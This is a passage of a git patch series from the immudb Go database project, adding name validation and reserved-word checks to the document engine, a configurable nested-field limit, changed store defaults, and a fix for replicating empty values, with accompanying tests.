regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_.]*$`) + type Engine struct { sqlEngine *sql.Engine + + maxNestedFields int } type EncodedDocument struct { @@ -63,10 +69,17 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { return nil, err } - return &Engine{engine}, nil + return &Engine{ + sqlEngine: engine, + maxNestedFields: opts.maxNestedFields, + }, nil } func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { + if !collectionNameValidation.MatchString(name) { + return fmt.Errorf("%w: invalid collection name '%s'", ErrIllegalArguments, name) + } + if documentIdFieldName == "" { documentIdFieldName = DefaultDocumentIDField } @@ -75,6 +88,10 @@ func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) } + if !documentIDFieldNameValidation.MatchString(documentIdFieldName) { + return fmt.Errorf("%w: invalid document id field name '%s'", ErrIllegalArguments, documentIdFieldName) + } + // only catalog needs to be up to date opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). @@ -105,6 +122,10 @@ func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, DocumentBLOBField) } + if !fieldNameValidation.MatchString(field.Name) { + return fmt.Errorf("%w: invalid field name '%s'", ErrIllegalArguments, field.Name) + } + sqlType, err := protomodelValueTypeToSQLValueType(field.Type) if err != nil { return err @@ -216,8 +237,8 @@ func docIDFieldName(table *sql.Table) string { } func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, error) { - if collectionName == "" { - return nil, fmt.Errorf("%w: invalid collection name", ErrIllegalArguments) + if !collectionNameValidation.MatchString(collectionName) { + return nil, fmt.Errorf("%w: invalid collection name '%s'", ErrIllegalArguments, collectionName) } table, err := sqlTx.Catalog().GetTableByName(collectionName) @@ -229,8 +250,8 @@ func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, } func getColumnForField(table *sql.Table, field string) (*sql.Column, error) { - if field == "" { - return nil, fmt.Errorf("%w: invalid field name", ErrIllegalArguments) + if !fieldNameValidation.MatchString(field) { + return nil, fmt.Errorf("%w: invalid field name '%s'", ErrIllegalArguments, field) } column, err := table.GetColumnByName(field) @@ -301,6 +322,10 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, do return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) } + if documentIdFieldName != "" && !documentIDFieldNameValidation.MatchString(documentIdFieldName) { + return fmt.Errorf("%w: invalid document id field name '%s'", ErrIllegalArguments, documentIdFieldName) + } + opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). @@ -571,46 +596,48 @@ func (e *Engine) generateRowSpecForDocument(table *sql.Table, doc *structpb.Stru continue } - var rval *structpb.Value - var ok bool - if rval, ok = doc.Fields[col.Name()]; !ok { - nameParts := strings.SplitN(col.Name(), documentFieldPathSeparator, documentMaxNestedFields) - nestedStruct := doc - for j := range nameParts { - if j == len(nameParts)-1 { - if rval, ok = nestedStruct.Fields[nameParts[len(nameParts)-1]]; !ok { - rval = nil - } - break - } - - if rval, ok = nestedStruct.Fields[nameParts[j]]; !ok { - rval = nil - break - } - - nestedStruct = rval.GetStructValue() - if nestedStruct == nil { - rval = nil - break - } - } + rval, err := e.structValueFromFieldPath(doc, col.Name()) + if err != nil && !errors.Is(err, ErrFieldDoesNotExist) { + return nil, err } - if rval != nil { + if rval == nil { + values[i] = &sql.NullValue{} + } else { val, err := structValueToSqlValue(rval, col.Type()) if err != nil { return nil, err } values[i] = val - } else { - values[i] = &sql.NullValue{} } } return sql.NewRowSpec(values), nil } +func (e *Engine) structValueFromFieldPath(doc *structpb.Struct, fieldPath string) (*structpb.Value, error) { + nestedStruct := doc + nestedFields := strings.SplitN(fieldPath, documentFieldPathSeparator, e.maxNestedFields) + + for i, field := range nestedFields { + rval, ok := nestedStruct.Fields[field] + if !ok { + return nil, fmt.Errorf("%w('%s'): while reading nested field '%s'", ErrFieldDoesNotExist, fieldPath, field) + } + + if i == len(nestedFields)-1 { + return rval, nil + } + + nestedStruct = rval.GetStructValue() + if nestedStruct == nil { + return nil, fmt.Errorf("%w('%s'): while reading nested field '%s'", ErrFieldDoesNotExist, fieldPath, field) + } + } + + return nil, fmt.Errorf("%w('%s')", ErrFieldDoesNotExist, fieldPath) +} + func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (revisions []*protomodel.DocumentAtRevision, err error) { if query == nil { return nil, ErrIllegalArguments diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 86dec45b2c..7770df91c2 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -47,8 +47,95 @@ func makeEngine(t *testing.T) *Engine { func TestCreateCollection(t *testing.T) { engine := makeEngine(t) + t.Run("collection creation should fail with invalid collection name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + "1invalidCollectionName", + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + collectionName := "mycollection" + t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "invalid.docid", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("collection creation should fail with invalid field name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "1number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"1number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("collection creation should fail with unexistent field", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, + }, + ) + require.ErrorIs(t, err, ErrFieldDoesNotExist) + }) + err := engine.CreateCollection( context.Background(), collectionName, @@ -152,6 +239,7 @@ func TestGetDocument(t *testing.T) { "address": structpb.NewStructValue(&structpb.Struct{ Fields: map[string]*structpb.Value{ "street": structpb.NewStringValue("mainstreet"), + "number": structpb.NewNumberValue(124), }, }), }, diff --git a/embedded/document/options.go b/embedded/document/options.go index 9f5d5c4815..d24dd76770 100644 --- a/embedded/document/options.go +++ b/embedded/document/options.go @@ -21,12 +21,17 @@ import ( "github.com/codenotary/immudb/embedded/store" ) +const DefaultDocumentMaxNestedFields = 3 + type Options struct { - prefix []byte + prefix []byte + maxNestedFields int } func DefaultOptions() *Options { - return &Options{} + return &Options{ + maxNestedFields: DefaultDocumentMaxNestedFields, + } } func (opts *Options) Validate() error { @@ -41,3 +46,8 @@ func (opts *Options) WithPrefix(prefix []byte) *Options { opts.prefix = prefix return opts } + +func (opts *Options) WithMaxNestedFields(maxNestedFields int) *Options { + opts.maxNestedFields = maxNestedFields + return opts +} diff --git a/embedded/document/options_test.go b/embedded/document/options_test.go index b239c711df..b6b90fa3e0 100644 --- a/embedded/document/options_test.go +++ b/embedded/document/options_test.go @@ -28,6 +28,8 @@ func TestDefaultOptions(t *testing.T) { // Assert that the returned value is not nil require.NotNil(t, opts) + + require.Equal(t, DefaultDocumentMaxNestedFields, opts.maxNestedFields) } func TestOptionsValidate(t *testing.T) { @@ -55,3 +57,9 @@ func TestOptionsWithPrefix(t *testing.T) { // Assert that the returned options have the correct prefix require.Equal(t, prefix, newOpts.prefix, "Expected prefix to be set in the new options") } + +func TestOptionsWithMaxNestedFields(t *testing.T) { + opts := DefaultOptions().WithMaxNestedFields(20) + + require.Equal(t, 20, opts.maxNestedFields) +} From 316cebfc70cb2badfbf06c60075f86259624b451 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 19 Jun 2023 08:41:16 -0300 Subject: [PATCH 0636/1062] chore(embedded/store): embedded values and prealloc disabled by default Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database.go | 2 +- embedded/store/options.go | 2 +- pkg/server/db_options.go | 2 -- 3 files changed, 2 insertions(+), 4 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 698779ea2b..48204b563f 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -34,7 +34,7 @@ import ( func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("exclude-commit-time", false, "do not include server-side timestamps in commit checksums, useful when reproducibility is a desired feature") - c.Flags().Bool("embedded-values", true, "store values in the tx header") + c.Flags().Bool("embedded-values", false, "store values in the tx header") c.Flags().Bool("prealloc-files", false, "enable file preallocation") c.Flags().Bool("replication-enabled", false, "set database as a replica") // deprecated, use replication-is-replica instead c.Flags().Bool("replication-is-replica", false, "set database as a replica") diff --git a/embedded/store/options.go b/embedded/store/options.go index a4db446345..7ca7c6e2c6 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -40,7 +40,7 @@ const DefaultFileMode = os.FileMode(0755) const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel -const DefaultEmbeddedValues = true +const DefaultEmbeddedValues = false const DefaultPreallocFiles = false const DefaultTxLogCacheSize = 1000 const DefaultVLogCacheSize = 0 diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index c1b867a0f2..03d451f930 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -174,8 +174,6 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { } if dbName == s.Options.systemAdminDBName || dbName == s.Options.defaultDBName { - dbOpts.PreallocFiles = dbName != s.Options.systemAdminDBName - repOpts := s.Options.ReplicationOptions dbOpts.Replica = repOpts != nil && repOpts.IsReplica From 510d8e92aa427df4001277b96c2802e3c61d3836 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 19 Jun 2023 08:58:10 -0300 Subject: [PATCH 0637/1062] chore(embedded/document): allow hyphen in doc naming Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 6 +++--- embedded/document/engine_test.go | 8 ++++---- 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index e49517c5be..5ce5614b58 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -37,9 +37,9 @@ const ( documentFieldPathSeparator = "." ) -var collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_]*$`) -var documentIDFieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_]*$`) -var fieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_.]*$`) +var collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) +var documentIDFieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) +var fieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-.]*$`) type Engine struct { sqlEngine *sql.Engine diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 7770df91c2..bd914e86ee 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -69,7 +69,7 @@ func TestCreateCollection(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) }) - collectionName := "mycollection" + collectionName := "my-collection" t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { err := engine.CreateCollection( @@ -139,19 +139,19 @@ func TestCreateCollection(t *testing.T) { err := engine.CreateCollection( context.Background(), collectionName, - "", + "doc-id", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, - {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "country-code", Type: protomodel.FieldType_STRING}, {Name: "address.street", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, - {Fields: []string{"country"}}, + {Fields: []string{"country-code"}}, {Fields: []string{"address.street"}}, }, ) From 47100030e1ef3c3a4fc8c97c7a6a2bc98725453d Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 19 Jun 2023 13:27:04 -0300 Subject: [PATCH 0638/1062] chore(embedded/document): naming validations Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 158 ++++++++++++++++++++++++++++-------- embedded/document/errors.go | 2 +- 2 files changed, 126 insertions(+), 34 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 5ce5614b58..c003eef14d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -37,6 +37,13 @@ const ( documentFieldPathSeparator = "." ) +var reservedWords = map[string]struct{}{ + "COLLECTION": {}, + "FIELD": {}, + "INDEX": {}, + "DOCUMENT": {}, +} + var collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) var documentIDFieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) var fieldNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-.]*$`) @@ -75,21 +82,70 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { }, nil } -func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { - if !collectionNameValidation.MatchString(name) { - return fmt.Errorf("%w: invalid collection name '%s'", ErrIllegalArguments, name) +func caseConsistentIdentifier(id string) string { + return strings.ToLower(id) +} + +func validateCollectionName(collectionName string) error { + _, isReservedWord := reservedWords[caseConsistentIdentifier(collectionName)] + if isReservedWord { + return fmt.Errorf("%w: invalid collection name '%s'", ErrReservedName, collectionName) } - if documentIdFieldName == "" { - documentIdFieldName = DefaultDocumentIDField + if !collectionNameValidation.MatchString(collectionName) { + return fmt.Errorf("%w: invalid collection name '%s'", ErrIllegalArguments, collectionName) + } + + return nil +} + +func validateDocumentIdFieldName(documentIdFieldName string) error { + _, isReservedWord := reservedWords[caseConsistentIdentifier(documentIdFieldName)] + if isReservedWord { + return fmt.Errorf("%w: invalid id field name '%s'", ErrReservedName, documentIdFieldName) } if documentIdFieldName == DocumentBLOBField { - return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) + return fmt.Errorf("%w: invalid id field name '%s'", ErrReservedName, documentIdFieldName) } if !documentIDFieldNameValidation.MatchString(documentIdFieldName) { - return fmt.Errorf("%w: invalid document id field name '%s'", ErrIllegalArguments, documentIdFieldName) + return fmt.Errorf("%w: invalid id field name '%s'", ErrIllegalArguments, documentIdFieldName) + } + + return nil +} + +func validateFieldName(fieldName string) error { + _, isReservedWord := reservedWords[caseConsistentIdentifier(fieldName)] + if isReservedWord { + return fmt.Errorf("%w: invalid field name '%s'", ErrReservedName, fieldName) + } + + if fieldName == DocumentBLOBField { + return fmt.Errorf("%w: invalid field name '%s'", ErrReservedName, fieldName) + } + + if !fieldNameValidation.MatchString(fieldName) { + return fmt.Errorf("%w: invalid field name '%s'", ErrIllegalArguments, fieldName) + } + + return nil +} + +func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { + err := validateCollectionName(name) + if err != nil { + return err + } + + if documentIdFieldName == "" { + documentIdFieldName = DefaultDocumentIDField + } + + err = validateDocumentIdFieldName(documentIdFieldName) + if err != nil { + return err } // only catalog needs to be up to date @@ -114,16 +170,13 @@ func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName columns[1] = sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false) for i, field := range fields { - if field.Name == documentIdFieldName { - return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, documentIdFieldName) - } - - if field.Name == DocumentBLOBField { - return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, DocumentBLOBField) + err = validateFieldName(field.Name) + if err != nil { + return err } - if !fieldNameValidation.MatchString(field.Name) { - return fmt.Errorf("%w: invalid field name '%s'", ErrIllegalArguments, field.Name) + if field.Name == documentIdFieldName { + return fmt.Errorf("%w: id field name '%s' should not be specified", ErrIllegalArguments, field.Name) } sqlType, err := protomodelValueTypeToSQLValueType(field.Type) @@ -157,10 +210,8 @@ func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName var indexStmts []sql.SQLStmt for _, index := range indexes { - for _, field := range index.Fields { - if field == DocumentBLOBField { - return fmt.Errorf("%w(%s): non-indexable field", ErrReservedFieldName, DocumentBLOBField) - } + if len(index.Fields) == 0 { + return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } if len(index.Fields) == 1 && index.Fields[0] == documentIdFieldName { @@ -171,6 +222,13 @@ func (e *Engine) CreateCollection(ctx context.Context, name, documentIdFieldName continue } + for _, field := range index.Fields { + err := validateFieldName(field) + if err != nil { + return err + } + } + indexStmts = append(indexStmts, sql.NewCreateIndexStmt(name, index.Fields, index.IsUnique)) } @@ -237,8 +295,9 @@ func docIDFieldName(table *sql.Table) string { } func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, error) { - if !collectionNameValidation.MatchString(collectionName) { - return nil, fmt.Errorf("%w: invalid collection name '%s'", ErrIllegalArguments, collectionName) + err := validateCollectionName(collectionName) + if err != nil { + return nil, err } table, err := sqlTx.Catalog().GetTableByName(collectionName) @@ -250,8 +309,9 @@ func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, } func getColumnForField(table *sql.Table, field string) (*sql.Column, error) { - if !fieldNameValidation.MatchString(field) { - return nil, fmt.Errorf("%w: invalid field name '%s'", ErrIllegalArguments, field) + err := validateFieldName(field) + if err != nil { + return nil, err } column, err := table.GetColumnByName(field) @@ -318,12 +378,16 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { } func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, documentIdFieldName string) error { - if documentIdFieldName == DocumentBLOBField { - return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) + err := validateCollectionName(collectionName) + if err != nil { + return err } - if documentIdFieldName != "" && !documentIDFieldNameValidation.MatchString(documentIdFieldName) { - return fmt.Errorf("%w: invalid document id field name '%s'", ErrIllegalArguments, documentIdFieldName) + if documentIdFieldName != "" { + err := validateDocumentIdFieldName(documentIdFieldName) + if err != nil { + return err + } } opts := sql.DefaultTxOptions(). @@ -349,7 +413,13 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, do _, _, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), currIDFieldName, documentIdFieldName)}, + []sql.SQLStmt{ + sql.NewRenameColumnStmt( + collectionName, + currIDFieldName, + documentIdFieldName, + ), + }, nil, ) if err != nil { @@ -363,6 +433,11 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, do // DeleteCollection deletes a collection. func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { + err := validateCollectionName(collectionName) + if err != nil { + return err + } + opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). @@ -392,6 +467,11 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er } func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields []string, isUnique bool) error { + err := validateCollectionName(collectionName) + if err != nil { + return err + } + if len(fields) == 0 { return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } @@ -409,8 +489,9 @@ func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields defer sqlTx.Cancel() for _, field := range fields { - if field == DocumentBLOBField { - return fmt.Errorf("%w(%s): non-indexable field", ErrReservedFieldName, DocumentBLOBField) + err := validateFieldName(field) + if err != nil { + return err } } @@ -431,6 +512,11 @@ func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields } func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields []string) error { + err := validateCollectionName(collectionName) + if err != nil { + return err + } + if len(fields) == 0 { return fmt.Errorf("%w: no fields specified", ErrIllegalArguments) } @@ -448,8 +534,9 @@ func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields defer sqlTx.Cancel() for _, field := range fields { - if field == DocumentBLOBField { - return ErrFieldDoesNotExist + err := validateFieldName(field) + if err != nil { + return err } } @@ -524,7 +611,7 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti _, blobFieldProvisioned := doc.Fields[DocumentBLOBField] if blobFieldProvisioned { - return 0, nil, fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) + return 0, nil, fmt.Errorf("%w(%s)", ErrReservedName, DocumentBLOBField) } var docID DocumentID @@ -891,6 +978,11 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, // AuditDocument returns the audit history of a document. func (e *Engine) AuditDocument(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int) ([]*protomodel.DocumentAtRevision, error) { + err := validateCollectionName(collectionName) + if err != nil { + return nil, err + } + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) diff --git a/embedded/document/errors.go b/embedded/document/errors.go index 6eae1b4a3c..d86b967281 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -34,7 +34,7 @@ var ( ErrNoMoreDocuments = errors.New("no more documents") ErrFieldAlreadyExists = errors.New("field already exists") ErrFieldDoesNotExist = errors.New("field does not exist") - ErrReservedFieldName = errors.New("reserved field name") + ErrReservedName = errors.New("reserved name") ErrLimitedIndexCreation = errors.New("index creation is only supported on empty collections") ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") ) From d4da35f57e5e838d852822513d30dad21eca045a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 19 Jun 2023 13:30:16 -0300 Subject: [PATCH 0639/1062] test(embedded/document): test reserved names Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 18 +++++-------- embedded/document/engine_test.go | 44 ++++++++++++++++++++++++++++++++ 2 files changed, 51 insertions(+), 11 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index c003eef14d..965086a282 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -38,10 +38,10 @@ const ( ) var reservedWords = map[string]struct{}{ - "COLLECTION": {}, - "FIELD": {}, - "INDEX": {}, - "DOCUMENT": {}, + "collection": {}, + "field": {}, + "index": {}, + "document": {}, } var collectionNameValidation = regexp.MustCompile(`^[a-zA-Z_]+[a-zA-Z0-9_\-]*$`) @@ -82,12 +82,8 @@ func NewEngine(store *store.ImmuStore, opts *Options) (*Engine, error) { }, nil } -func caseConsistentIdentifier(id string) string { - return strings.ToLower(id) -} - func validateCollectionName(collectionName string) error { - _, isReservedWord := reservedWords[caseConsistentIdentifier(collectionName)] + _, isReservedWord := reservedWords[strings.ToLower(collectionName)] if isReservedWord { return fmt.Errorf("%w: invalid collection name '%s'", ErrReservedName, collectionName) } @@ -100,7 +96,7 @@ func validateCollectionName(collectionName string) error { } func validateDocumentIdFieldName(documentIdFieldName string) error { - _, isReservedWord := reservedWords[caseConsistentIdentifier(documentIdFieldName)] + _, isReservedWord := reservedWords[strings.ToLower(documentIdFieldName)] if isReservedWord { return fmt.Errorf("%w: invalid id field name '%s'", ErrReservedName, documentIdFieldName) } @@ -117,7 +113,7 @@ func validateDocumentIdFieldName(documentIdFieldName string) error { } func validateFieldName(fieldName string) error { - _, isReservedWord := reservedWords[caseConsistentIdentifier(fieldName)] + _, isReservedWord := reservedWords[strings.ToLower(fieldName)] if isReservedWord { return fmt.Errorf("%w: invalid field name '%s'", ErrReservedName, fieldName) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index bd914e86ee..d7f8d86381 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -69,6 +69,28 @@ func TestCreateCollection(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) }) + t.Run("collection creation should fail with invalid collection name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + "collection", + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, + }, + ) + require.ErrorIs(t, err, ErrReservedName) + }) + collectionName := "my-collection" t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { @@ -93,6 +115,28 @@ func TestCreateCollection(t *testing.T) { require.ErrorIs(t, err, ErrIllegalArguments) }) + t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + DocumentBLOBField, + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + []*protomodel.Index{ + {Fields: []string{"number"}}, + {Fields: []string{"name"}}, + {Fields: []string{"pin"}}, + {Fields: []string{"country"}}, + {Fields: []string{"address.street"}}, + }, + ) + require.ErrorIs(t, err, ErrReservedName) + }) + t.Run("collection creation should fail with invalid field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), From 14b2ed8da29ccc0fc7764441c3b048eb64799d20 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Jun 2023 09:59:36 -0300 Subject: [PATCH 0640/1062] fix(embedded/store): handle replication of empty values Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 6 +----- embedded/store/immustore_test.go | 27 +++++++++++++++++++++++++++ 2 files changed, 28 insertions(+), 5 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index ac2b252a39..86c082a5bf 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2868,10 +2868,6 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, skipIntegrityCheck bool) (n int, err error) { vLogID, offset := decodeOffset(off) - if len(b) == 0 && vLogID > 0 { - return 0, fmt.Errorf("%w: attempt to read empty value from a non-embedded vlog", ErrCorruptedTxData) - } - if !s.embeddedValues && vLogID == 0 && len(b) > 0 { // it means value was not stored on any vlog i.e. a truncated transaction was replicated return 0, io.EOF @@ -2922,7 +2918,7 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s } } - // either value was empty (n == 0 && vLogID == 0) + // either value was empty (n == 0) // or a non-empty value (n > 0) was read from cache or disk if !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 4d30f482b0..f09ff4af91 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4937,3 +4937,30 @@ func TestCommitOfEmptyTxWithMetadata(t *testing.T) { require.NoError(t, err) require.Empty(t, txholder.Entries()) } + +func TestImmudbStore_ExportTxWithEmptyValues(t *testing.T) { + opts := DefaultOptions().WithEmbeddedValues(false) + + st, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, st) + + defer immustoreClose(t, st) + + tx, err := st.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + err = tx.Set([]byte("my-key"), nil, nil) + require.NoError(t, err) + + hdr, err := tx.Commit(context.Background()) + require.NoError(t, err) + + txholder, err := st.fetchAllocTx() + require.NoError(t, err) + + defer st.releaseAllocTx(txholder) + + _, err = st.ExportTx(hdr.ID, false, false, 